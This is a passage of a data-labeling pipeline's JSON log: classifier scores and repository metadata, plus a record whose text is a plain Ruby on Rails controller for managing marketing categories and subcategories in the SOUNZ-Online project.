1.0381065674809416e-05, "Discussion Thread": 6.335743794518866e-06, "Comment Section": 1.306992783056776e-05, "Missing Content": 2.3048099874870405e-05, "Knowledge Article": 8.628152107329712e-05, "Legal Notices": 2.0217498262365645e-05, "News Article": 3.997874187985215e-06, "Organizational Announcement": 8.427726317168243e-06, "Nonfiction Writing": 1.1239508318563001e-05, "Organizational About Page": 1.0863400824707166e-05, "Personal About Page": 1.4248553416521946e-05, "Personal Blog": 7.394202576812062e-06, "Product Page": 7.234211376485927e-06, "Spam / Ads": 1.0249658183898156e-05, "Structured Data": 0.0008976518977991982, "Technical Writing": 0.9970496681388039, "Transcript / Interview": 1.3845559561645534e-05, "Tutorial / How-To Guide": 0.0007677042433264644, "User Reviews": 6.808247634659651e-06, "Other / Unknown": 0.0009701739031588093}, "secondary": {"Academic Writing": 0.00011332052810887475, "Content Listing": 7.689571546964143e-05, "Creative Writing": 9.429639906658421e-05, "Customer Support Page": 5.3994108011079246e-05, "Q&A Forum": 4.25102974734583e-05, "Discussion Thread": 3.215805900354722e-05, "Comment Section": 9.476663238232388e-05, "Missing Content": 0.0002780698898644221, "Knowledge Article": 0.0005442195028275649, "Legal Notices": 0.0001255590999825993, "News Article": 5.32730971425849e-05, "Organizational Announcement": 4.3001264942100184e-05, "Nonfiction Writing": 5.456176698481871e-05, "Organizational About Page": 7.003745221848365e-05, "Personal About Page": 5.03373308415161e-05, "Personal Blog": 4.417855527207325e-05, "Product Page": 3.6709863567414176e-05, "Spam / Ads": 6.312936065302758e-05, "Structured Data": 0.008244672867422234, "Technical Writing": 0.008633078290821553, "Transcript / Interview": 6.477621666836233e-05, "Tutorial / How-To Guide": 0.0021667105937039862, "User Reviews": 2.7384719580002322e-05, "NONE": 0.9789923583879918}, "tertiary": {"Academic Writing": 4.441175916892063e-05, "Content Listing": 4.437947571325586e-05, "Creative Writing": 4.349566384914629e-05, "Customer Support Page": 2.493906562975452e-05, "Q&A Forum": 1.8206344956107924e-05, "Discussion Thread": 1.2963981256268673e-05, "Comment Section": 5.757567396448269e-05, "Missing Content": 0.00019011491995828828, "Knowledge Article": 0.00028500680853562726, "Legal Notices": 0.00011570521958528843, "News Article": 2.9102342154587917e-05, "Organizational Announcement": 2.1947016231497952e-05, "Nonfiction Writing": 3.3439314506195734e-05, "Organizational About Page": 4.533132364576693e-05, "Personal About Page": 2.3925125536003026e-05, "Personal Blog": 2.1886579619326822e-05, "Product Page": 2.2914287850876406e-05, "Spam / Ads": 3.347158702227841e-05, "Structured Data": 0.0015321940539379875, "Technical Writing": 0.002467124795022407, "Transcript / Interview": 2.8440308428778084e-05, "Tutorial / How-To Guide": 0.0010350865036166076, "User Reviews": 1.5115687226042081e-05, "NONE": 0.9938532221625845}, "structured_records": {"false": 0.9884177362556839, "true": 0.011582263744316174}, "procedural_steps": {"false": 0.9895336502941374, "true": 0.01046634970586254}, "worked_solution": {"false": 0.9980633181977538, "true": 0.0019366818022462015}, "contextual_dialogue": {"false": 0.9999922543956001, "true": 7.745604399884958e-06}, "content_quality": {"-2": 0.014046430633487213, "-1": 0.06830414225057875, "0": 0.2941889420013288, "1": 0.48397698451491766, "2": 0.13948350059968767}, "noise_severity": {"0": 0.9909431751560448, "1": 0.008274848074559566, "2": 0.0004738443579647376, "3": 0.0001712859940837942, "4": 0.00013684641734706417}, "missing_content_severity": {"0": 0.9927965637829739, "1": 0.0029097336698525886, "2": 0.0030224402123229972, "3": 0.00102820306724719, "4": 0.00024305926760330158}, "factual_density": {"0": 0.0053326297421143745, "1": 0.011140254317935373, "2": 0.11418618593349503, "3": 0.3745288666457615, "4": 0.4948120633606937}, "pretraining_utility": {"-2": 0.007688458212924134, "-1": 0.08428161768378424, "0": 0.397834478784168, "1": 0.42997379006496766, "2": 0.08022165525415594}, "math_density": {"0": 0.9599138403716515, "1": 0.019448740804075312, "2": 0.005043505758327965, "3": 0.004918959578429002, "4": 0.010674953487516235}, "code_density": {"0": 0.0005042931386962512, "1": 0.0010043083548344346, "2": 0.0330643433337894, "3": 0.12911529813091432, "4": 0.8363117570417656}, "reasoning_density": {"0": 0.7150550296279148, "1": 0.07213587698304325, "2": 0.12322159704183244, "3": 0.05534659135032287, "4": 0.03424090499688672}, "education_level": {"none": 0.001022501389999293, "0": 0.001561293375279887, "1": 0.041871311652877774, "2": 0.8410510879072749, "3": 0.10717358462328139, "4": 0.007320221051286824}, "creative_writing_quality": {"not_applicable": 0.9996794382458443, "-2": 4.868278798899255e-05, "-1": 7.866645600370724e-05, "0": 0.00013692563821225763, "1": 3.8129016558064084e-05, "2": 1.815785539268026e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 6.514218287693142e-05, "Art & Design": 0.00012886638334198781, "Law & Crime": 8.754255696078093e-05, "Education & Careers": 6.439765352242303e-05, "Entertainment & Media": 5.926852822951809e-05, "Fashion & Beauty": 5.9634906806506565e-05, "Business, Economics & Finance": 0.000146848272953584, "Food & Dining": 5.730992511963012e-05, "Games & Gaming": 0.00010801901001949706, "Electronics & Hardware": 0.00010505347193328321, "Health, Healthcare & Wellness": 6.540079077687598e-05, "History & Geography": 0.0001885621297759336, "Home, Pets & Hobbies": 5.196865068777131e-05, "Industry & Production": 6.497949611672132e-05, "Language, Literature & Philosophy": 6.859122834314476e-05, "Politics & Government": 4.343760650401263e-05, "Religion & Spirituality": 6.0112402747976465e-05, "Science, Mathematics & Engineering": 0.00039131670446747384, "Relationships & Community": 4.348676474018492e-05, "Software Usage & Applications": 0.004196022070607163, "Programming & Software Engineering": 0.9607988104782084, "Sports & Fitness": 0.00013566377770735558, "Vehicles & Transportation": 0.025550635288057948, "Travel & Tourism": 0.007146637639124108, "Other / Uncovered Subject": 0.00023267966339101103, "Unknown / Insufficient Content": 7.961241697981965e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0012555519492834302, "Art & Design": 0.0011007445529049868, "Law & Crime": 0.0009322767131590671, "Education & Careers": 0.0006004121070258084, "Entertainment & Media": 0.000862408678630764, "Fashion & Beauty": 0.0005551461365789001, "Business, Economics & Finance": 0.0014956190193522807, "Food & Dining": 0.0005985035298351541, "Games & Gaming": 0.0009004932159265487, "Electronics & Hardware": 0.0009072374189539044, "Health, Healthcare & Wellness": 0.0008957583870427712, "History & Geography": 0.001579422631878758, "Home, Pets & Hobbies": 0.0005730360840566809, "Industry & Production": 0.0006248429604675862, "Language, Literature & Philosophy": 0.000489421144238306, "Politics & Government": 0.0004619996831760934, "Religion & Spirituality": 0.0007356827368894647, "Science, Mathematics & Engineering": 0.0019221534989009674, "Relationships & Community": 0.0003323848897923241, "Software Usage & Applications": 0.027252447411028426, "Programming & Software Engineering": 0.11733809225889469, "Sports & Fitness": 0.0011632989289508957, "Vehicles & Transportation": 0.3181335213253235, "Travel & Tourism": 0.09294076629897184, "Other / Uncovered Subject": 0.0011681655150548116, "NONE": 0.42518061292368203}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9883, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9883, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:32:09.045961+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "afa3a7e6-5a6d-478d-b059-07057f17d218", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "8aad200abca6e75401295dd47ef2d52df0a800c433054f2b1b06aa12b07c2de6", "source_metadata": {"uuid": "afa3a7e6-5a6d-478d-b059-07057f17d218", "repo_name": "mattduboismatt/my-way", "relative_path": "app/modules/google_maps.rb", "category": "ALGO", "algo_rel_score": 0.9577319025993347, "quality_score": 5.6794538497924805, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 450, "repo_created_at": "2015-01-21T23:52:29.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 3, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "84d70dde1f5010b1b051359b7be441d68bc6f85b", "size_bytes": 4953, "file_timestamp": 1423775067, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "06635ad223b07a5c1c4b8b4f7341341c75b8c5da"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 450, "repo_created_at": "2015-01-21T23:52:29.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 3, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "84d70dde1f5010b1b051359b7be441d68bc6f85b", "size_bytes": 4953, "file_timestamp": 1423775067, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "06635ad223b07a5c1c4b8b4f7341341c75b8c5da", "url": "https://github.com/mattduboismatt/my-way/blob/06635ad223b07a5c1c4b8b4f7341341c75b8c5da/app/modules/google_maps.rb"}, "gpt4o_tokens": 1305, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.6665469821967398, "noise_severity": 0.01028378044212868, "missing_content_severity": 0.01301146036665336, "factual_density": 3.342347479564985, "pretraining_utility": 0.490758566463647, "math_density": 0.08699244500608319, "code_density": 3.7997259175822187, "reasoning_density": 0.6215824651052236, "education_level": 2.076898757408757, "creative_writing_quality": -0.31690400779665445}, "score_applicability": {"education_level": 0.9989774986100007, "creative_writing_quality": 0.0003205617541557018}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/sounz/SOUNZ-Online/blob/c22230ff7dcfb040a6780df40373233508e0e5d2/sounz-1.62.0/sounz/app/controllers/marketing_categorisation_controller.rb", "id": "ruby-0-bb0dff2c70de361cf9187e9b4809677e", "text": "require 'session_storage_helper'\n\n\n\nclass MarketingCategorisationController < ApplicationController\n \n \n \n include SessionStorageHelper\n \n \n \n \n def index\n list\n render :action => 'list'\n end\n \n # GETs should be safe (see http://www.w3.org/2001/tag/doc/whenToUseGet.html)\n verify :method => :post, :only => [ :destroy, :create, :update ],\n :redirect_to => { :action => :list }\n \n def list\n @marketing_subcategories = MarketingSubcategory.paginate( :page => params[:page], :per_page => 10)\n @marketing_categories = MarketingCategory.paginate( :page => params[:page], :per_page => 10)\n end\n \n def show\n @marketing_subcategory = MarketingSubcategory.find(params[:id])\n @marketing_category = @marketing_subcategory.marketing_category\n end\n \n #This is the new method for the popup from role\n def new_subcategory_in_popup_from_role\n \n msc_id = params[:id]\n set_popup_callback(:role_categorizations, :callback_categories_edit_role, :role_categorization_form)\n \n if msc_id.to_i != 0\n @marketing_category = MarketingCategory.find(msc_id)\n else\n @marketing_category = nil\n end\n \n session[:role_id] = params[:role_id]\n session[:selected_marketing_category_id] = @marketing_category\n \n redirect_to :action => 'new_subcategory'\n end\n \n \n \n def new_subcategory\n get_selected_marketing_category_from_session\n \n #do we have a person\n #possible_person_id = session[:selected_person_id]\n \n end\n \n \n \n \n \n #Get the selected marketing category from the session\n def get_selected_marketing_category_from_session\n marketing_category_id = session[:selected_marketing_category_id]\n \n #do we have a category_id\n if marketing_category_id != nil\n @marketing_category = MarketingCategory.find(marketing_category_id)\n else\n @marketing_category = MarketingCategory.new\n end\n end\n \n \n \n \n def show_subcategory_in_popup\n #get the market sub object\n @marketing_subcategory = MarketingSubcategory.find(params[:id])\n @marketing_category = @marketing_subcategory.marketing_category\n #person_id = session[:selected_person_id]\n #@person = Person.find(person_id)\n render :layout => 'popup' # If you forget this you cant close the popup!\n end\n \n \n \n \n def new_category\n @marketing_category = MarketingCategory.new\n end\n \n \n #------------------------------------------------------------------\n #- Create subcategory used in role marketing categorisation popup -\n #------------------------------------------------------------------\n def create_subcategory\n debug_message \"CREATE SUBCAT\"\n show_params(params)\n \n mc_found = false # true if a marketing category is found\n \n if session[:selected_marketing_category_id] != nil\n marketing_category_id = session[:selected_marketing_category_id]\n @marketing_category = MarketingCategory.find(:first, :conditions => [\"marketing_category_id =?\", marketing_category_id])\n session[:selected_marketing_category_id] = nil\n @mc_found = true\n #try and find from\n else\n mc_id = params[:marketing_category][:id]\n if !mc_id.blank?\n @marketing_category = MarketingCategory.find(mc_id)\n @mc_found=true\n end\n end\n \n if @mc_found\n \n @marketing_subcategory = MarketingSubcategory.new(params[:marketing_subcategory])\n \n #Set parent category from previously saved objects\n @marketing_subcategory.marketing_category = @marketing_category\n @abbreviation = @marketing_subcategory.abbreviation\n \n if @marketing_subcategory.save\n flash[:notice] = 'Marketing Subcategory was successfully created.'\n \n # if role id data doesn't exist, redirect to list\n if session[:role_id].blank?\n redirect_to :action => 'list'\n elsif\n # assign the categorisation to the role\n @role_categorization = RoleCategorization.new(params[:role_categorization])\n @role_categorization.role_id = session[:role_id]\n @role_categorization.marketing_subcategory = MarketingSubcategory.find(@marketing_subcategory.marketing_subcategory_id)\n \n # saving the role's marketing categorisation\n if @role_categorization.save\n role_id = session[:role_id]\n flash[:notice] = 'New categorisation was successfully added.'\n else\n flash[:notice] = 'An error has occured. Try again'\n end\n \n redirect_to(:action => 'edit_subcategory', :id => @marketing_subcategory)\n end\n else\n render :action => 'new_subcategory'\n end\n else\n flash[:notice] = 'Please select a category'\n render :action => 'new_subcategory'\n end\n \n end\n \n \n def create_category\n @marketing_category = MarketingCategory.new(params[:marketing_category])\n \n if @marketing_category.save\n flash[:notice] = 'Marketing category was successfully created.'\n \n session[:selected_marketing_category_id] = @marketing_category.marketing_category_id\n \n # return to the new subcategory screen\n redirect_to(:action => 'new_subcategory')\n else\n render :action => 'new_category'\n end\n end\n \n #--------------------\n #- Edit subcategory -\n #--------------------\n def edit_subcategory\n @marketing_subcategory = MarketingSubcategory.find(params[:id])\n @marketing_category = @marketing_subcategory.marketing_category\n render :layout => 'popup'\n end\n \n #--------------------\n #- Update subcategory -\n #--------------------\n def update_subcategory\n @marketing_subcategory = MarketingSubcategory.find(params[:id])\n \n if @marketing_subcategory.update_attributes(params[:marketing_subcategory])\n flash[:notice] = 'Marketing Subcategory was successfully updated.'\n redirect_to :action => 'edit_subcategory', :id => @marketing_subcategory.marketing_subcategory_id\n else\n render :action => 'edit_subcategory'\n end\n end\n \n def destroy\n @marketing_subcategory = MarketingSubcategory.find(params[:id])\n @marketing_category = @marketing_subcategory.marketing_category\n MarketingSubcategory.find(params[:id]).destroy\n \n redirect_to :action => 'list'\n end\n \n \n \n # Change different params on change of the marketing category select box\n def change\n session[:selected_marketing_category_id] == nil\n @marketing_category = MarketingCategory.find(params[:id])\n session[:selected_marketing_category_id] = @marketing_category.marketing_category_id\n @rails_version = Rails::VERSION::STRING\n end \nend\n", "text_preview": "require 'session_storage_helper' class MarketingCategorisationController < ApplicationController include SessionStorageHelper def index list render :action => 'list' end # GETs should be safe (see http://www.w3.org/2001/tag/doc/whenToUseGet", "input_sha256": "ac34b5857b94ba605b8e266801989c170b2d48bb9e0cac5465615c6c43e64818", "text_sha256": "bb0dff2c70de361cf9187e9b4809677e94ce0e4fd623e17b8cf7c5955b70e28c", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16051, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 0, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.2511408971987699, "noise_severity": 0.2460907939584328, "missing_content_severity": 0.02408867859760743, "factual_density": 3.142420230923178, "pretraining_utility": 0.10948102576644916, "math_density": 0.024528559347495645, "code_density": 3.8841861050127955, "reasoning_density": 0.47347765791589097, "education_level": 2.298234538539193, "creative_writing_quality": -0.48790526580589993}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.007240387727985187, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9965323858429765, "secondary": 0.9855460555211897, "tertiary": 0.993101242715609, "structured_records": 0.005540324669044203, "procedural_steps": 0.004007543978378238, "worked_solution": 0.0014573885055716865, "contextual_dialogue": 9.276044166940415e-06, "content_quality": 0.41238995342427953, "noise_severity": 0.7949243383679726, "missing_content_severity": 0.9799261011686605, "factual_density": 0.2853501924359817, "pretraining_utility": 0.5455346519606228, "math_density": 0.9795595338770869, "code_density": 0.9034884208439963, "reasoning_density": 0.6054352850700908, "education_level": 0.622121011083619, "creative_writing_quality": 0.9989155424680086, "primary_topic": 0.9703763630056234, "secondary_topic": 0.8022937266905807}, "probability_margin": {"primary": 0.9947485378216614, "secondary": 0.9784376652649261, "tertiary": 0.9904564289968232, "education_level": 0.41647687939942946, "creative_writing_quality": 0.9987171278430756, "primary_topic": 0.9551758106473185, "secondary_topic": 0.693932047536512}, "raw_probabilities": {"primary": {"Academic Writing": 3.728509455630648e-05, "Content Listing": 3.457638287755513e-05, "Creative Writing": 1.9909121230110608e-05, "Customer Support Page": 1.0080117699033691e-05, "Q&A Forum": 1.1846460765488175e-05, "Discussion Thread": 7.4036957061988124e-06, "Comment Section": 1.4563990747022013e-05, "Missing Content": 4.4695116111478415e-05, "Knowledge Article": 8.331613061317013e-05, "Legal Notices": 4.3312680141182355e-05, "News Article": 4.697523241656198e-06, "Organizational Announcement": 1.19492724821854e-05, "Nonfiction Writing": 1.13799794490432e-05, "Organizational About Page": 1.3190272665069904e-05, "Personal About Page": 9.305690088319404e-06, "Personal Blog": 6.971557695703689e-06, "Product Page": 8.215262395204357e-06, "Spam / Ads": 1.1703667225673663e-05, "Structured Data": 0.0007578879464588546, "Technical Writing": 0.9966768697661859, "Transcript / Interview": 1.4319011591932436e-05, "Tutorial / How-To Guide": 0.0002322343926486615, "User Reviews": 5.954922899667232e-06, "Other / Unknown": 0.0019283319445245089}, "secondary": {"Academic Writing": 0.00011926068301325662, "Content Listing": 0.00023332300271571328, "Creative Writing": 0.00011476934426304426, "Customer Support Page": 6.084629636367693e-05, "Q&A Forum": 4.614720622969024e-05, "Discussion Thread": 4.091871868156747e-05, "Comment Section": 0.0005447385975800724, "Missing Content": 0.0003733634371315633, "Knowledge Article": 0.000460169480122865, "Legal Notices": 0.00024585193628694094, "News Article": 5.658435129339318e-05, "Organizational Announcement": 6.085073563319274e-05, "Nonfiction Writing": 7.065584270553957e-05, "Organizational About Page": 6.783811357127975e-05, "Personal About Page": 5.204218810500334e-05, "Personal Blog": 4.655702647285179e-05, "Product Page": 3.934822009675462e-05, "Spam / Ads": 8.001386747035412e-05, "Structured Data": 0.0026365701895605283, "Technical Writing": 0.007710637942880599, "Transcript / Interview": 7.230287987599806e-05, "Tutorial / How-To Guide": 0.0006890062800471909, "User Reviews": 2.9900452092152646e-05, "NONE": 0.9861483032078068}, "tertiary": {"Academic Writing": 7.425456356904553e-05, "Content Listing": 0.00023124978362853868, "Creative Writing": 7.78368926680315e-05, "Customer Support Page": 5.081620668685175e-05, "Q&A Forum": 2.7907937142279996e-05, "Discussion Thread": 2.4712579690728223e-05, "Comment Section": 0.0002469791390842257, "Missing Content": 0.0003515888136969191, "Knowledge Article": 0.00046835765157565663, "Legal Notices": 0.00021723471687530135, "News Article": 3.588869095587141e-05, "Organizational Announcement": 4.781762410214466e-05, "Nonfiction Writing": 7.069888722602768e-05, "Organizational About Page": 5.9967672132637535e-05, "Personal About Page": 3.1572848192096354e-05, "Personal Blog": 3.375244339584216e-05, "Product Page": 2.7115936383851077e-05, "Spam / Ads": 5.7288768501211674e-05, "Structured Data": 0.0010160082443071933, "Technical Writing": 0.0029322619389687715, "Transcript / Interview": 4.100155535830786e-05, "Tutorial / How-To Guide": 0.0004665835341140863, "User Reviews": 2.041263595240884e-05, "NONE": 0.993388690935792}, "structured_records": {"false": 0.9944596753309558, "true": 0.005540324669044203}, "procedural_steps": {"false": 0.9959924560216218, "true": 0.004007543978378238}, "worked_solution": {"false": 0.9985426114944284, "true": 0.0014573885055716865}, "contextual_dialogue": {"false": 0.9999907239558331, "true": 9.276044166940415e-06}, "content_quality": {"-2": 0.022489896459215727, "-1": 0.1820157864276158, "0": 0.4036610368578116, "1": 0.30553008396589687, "2": 0.08630319628946014}, "noise_severity": {"0": 0.7928011422717983, "1": 0.1768162124633267, "2": 0.023825873312085143, "3": 0.00460425294022395, "4": 0.0019525190125660049}, "missing_content_severity": {"0": 0.9841014362773529, "1": 0.009915379459565925, "2": 0.0042126216708907975, "3": 0.00133419457250105, "4": 0.00043636801968918937}, "factual_density": {"0": 0.014871054116945094, "1": 0.032908862503684765, "2": 0.15387483275141509, "3": 0.3916192995951571, "4": 0.4067259510327979}, "pretraining_utility": {"-2": 0.012549994849554396, "-1": 0.19283870624129296, "0": 0.5020814444905547, "1": 0.25763998713034525, "2": 0.034889867288252836}, "math_density": {"0": 0.9805069143202546, "1": 0.017108906918202105, "2": 0.0008177847886125978, "3": 0.0004814930396549635, "4": 0.0010849009332758652}, "code_density": {"0": 0.00029744889119692676, "1": 0.0005423353951069308, "2": 0.016011205705951773, "3": 0.08097468182519243, "4": 0.9021743281825519}, "reasoning_density": {"0": 0.7346713473804228, "1": 0.11325768270411557, "2": 0.10830048852434457, "3": 0.031462927401381846, "4": 0.012307553989735183}, "education_level": {"none": 0.0015511713806764258, "0": 0.001869174885924209, "1": 0.017607794575683584, "2": 0.6851008425696824, "3": 0.26862396317025294, "4": 0.025247053417780406}, "creative_writing_quality": {"not_applicable": 0.9990962853900072, "-2": 0.00012042002375320778, "-1": 0.0003149853253207936, "0": 0.00037915754693154956, "1": 6.340517214873377e-05, "2": 2.574654183860876e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 7.663580176001747e-05, "Art & Design": 0.00022147237723471895, "Law & Crime": 9.031428599286808e-05, "Education & Careers": 0.00012665473366558252, "Entertainment & Media": 0.0021979707867152472, "Fashion & Beauty": 0.00018957235251061336, "Business, Economics & Finance": 0.016339923011934803, "Food & Dining": 0.00011866263300139578, "Games & Gaming": 0.00016764103107585828, "Electronics & Hardware": 0.00013742558682638256, "Health, Healthcare & Wellness": 7.289004742193056e-05, "History & Geography": 5.879172229091645e-05, "Home, Pets & Hobbies": 7.136984396943754e-05, "Industry & Production": 8.213917567833248e-05, "Language, Literature & Philosophy": 8.235307057135799e-05, "Politics & Government": 8.494750887400002e-05, "Religion & Spirituality": 8.165735182215295e-05, "Science, Mathematics & Engineering": 0.0001757237429946707, "Relationships & Community": 5.935265192062941e-05, "Software Usage & Applications": 0.0009195647451427276, "Programming & Software Engineering": 0.9715157336592533, "Sports & Fitness": 0.00012706292660876161, "Vehicles & Transportation": 3.6048451008011236e-05, "Travel & Tourism": 9.110091892497056e-05, "Other / Uncovered Subject": 0.006532856285830495, "Unknown / Insufficient Content": 0.00034213529697096434}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0010175424306360815, "Art & Design": 0.0016658127146249103, "Law & Crime": 0.0009661836687102439, "Education & Careers": 0.0006134149506882485, "Entertainment & Media": 0.020037536075162656, "Fashion & Beauty": 0.0007389151638596623, "Business, Economics & Finance": 0.1159657665890463, "Food & Dining": 0.0005018741785999788, "Games & Gaming": 0.0008057606654664505, "Electronics & Hardware": 0.0006485713155519562, "Health, Healthcare & Wellness": 0.0005073186561383533, "History & Geography": 0.00034316226854252913, "Home, Pets & Hobbies": 0.0004613764907719208, "Industry & Production": 0.00040867837484518185, "Language, Literature & Philosophy": 0.00035610089055391277, "Politics & Government": 0.00048472990257431345, "Religion & Spirituality": 0.0006187312107195555, "Science, Mathematics & Engineering": 0.0006160569177210797, "Relationships & Community": 0.0003131369621143009, "Software Usage & Applications": 0.0031636994936827365, "Programming & Software Engineering": 0.02983984397822181, "Sports & Fitness": 0.0006752202665002365, "Vehicles & Transportation": 0.00017990549397843317, "Travel & Tourism": 0.0005393286665532192, "Other / Uncovered Subject": 0.008633518549177516, "NONE": 0.8098978141255584}}, "probabilities": {"primary": {"Academic Writing": 3.728509455630649e-05, "Content Listing": 3.4576382877555136e-05, "Creative Writing": 1.990912123011061e-05, "Customer Support Page": 1.0080117699033693e-05, "Q&A Forum": 1.1846460765488177e-05, "Discussion Thread": 7.403695706198813e-06, "Comment Section": 1.4563990747022015e-05, "Missing Content": 4.469511611147842e-05, "Knowledge Article": 8.331613061317014e-05, "Legal Notices": 4.331268014118236e-05, "News Article": 4.697523241656199e-06, "Organizational Announcement": 1.1949272482185402e-05, "Nonfiction Writing": 1.1379979449043201e-05, "Organizational About Page": 1.3190272665069906e-05, "Personal About Page": 9.305690088319406e-06, "Personal Blog": 6.97155769570369e-06, "Product Page": 8.215262395204359e-06, "Spam / Ads": 1.1703667225673664e-05, "Structured Data": 0.0007578879464588547, "Technical Writing": 0.996676869766186, "Transcript / Interview": 1.4319011591932437e-05, "Tutorial / How-To Guide": 0.00023223439264866152, "User Reviews": 5.954922899667233e-06, "Other / Unknown": 0.001928331944524509}, "secondary": {"Academic Writing": 0.00011926068301325662, "Content Listing": 0.00023332300271571328, "Creative Writing": 0.00011476934426304426, "Customer Support Page": 6.084629636367693e-05, "Q&A Forum": 4.614720622969024e-05, "Discussion Thread": 4.091871868156747e-05, "Comment Section": 0.0005447385975800724, "Missing Content": 0.0003733634371315633, "Knowledge Article": 0.000460169480122865, "Legal Notices": 0.00024585193628694094, "News Article": 5.658435129339318e-05, "Organizational Announcement": 6.085073563319274e-05, "Nonfiction Writing": 7.065584270553957e-05, "Organizational About Page": 6.783811357127975e-05, "Personal About Page": 5.204218810500334e-05, "Personal Blog": 4.655702647285179e-05, "Product Page": 3.934822009675462e-05, "Spam / Ads": 8.001386747035412e-05, "Structured Data": 0.0026365701895605283, "Technical Writing": 0.007710637942880599, "Transcript / Interview": 7.230287987599806e-05, "Tutorial / How-To Guide": 0.0006890062800471909, "User Reviews": 2.9900452092152646e-05, "NONE": 0.9861483032078068}, "tertiary": {"Academic Writing": 7.425456356904553e-05, "Content Listing": 0.00023124978362853868, "Creative Writing": 7.78368926680315e-05, "Customer Support Page": 5.081620668685175e-05, "Q&A Forum": 2.7907937142279996e-05, "Discussion Thread": 2.4712579690728223e-05, "Comment Section": 0.0002469791390842257, "Missing Content": 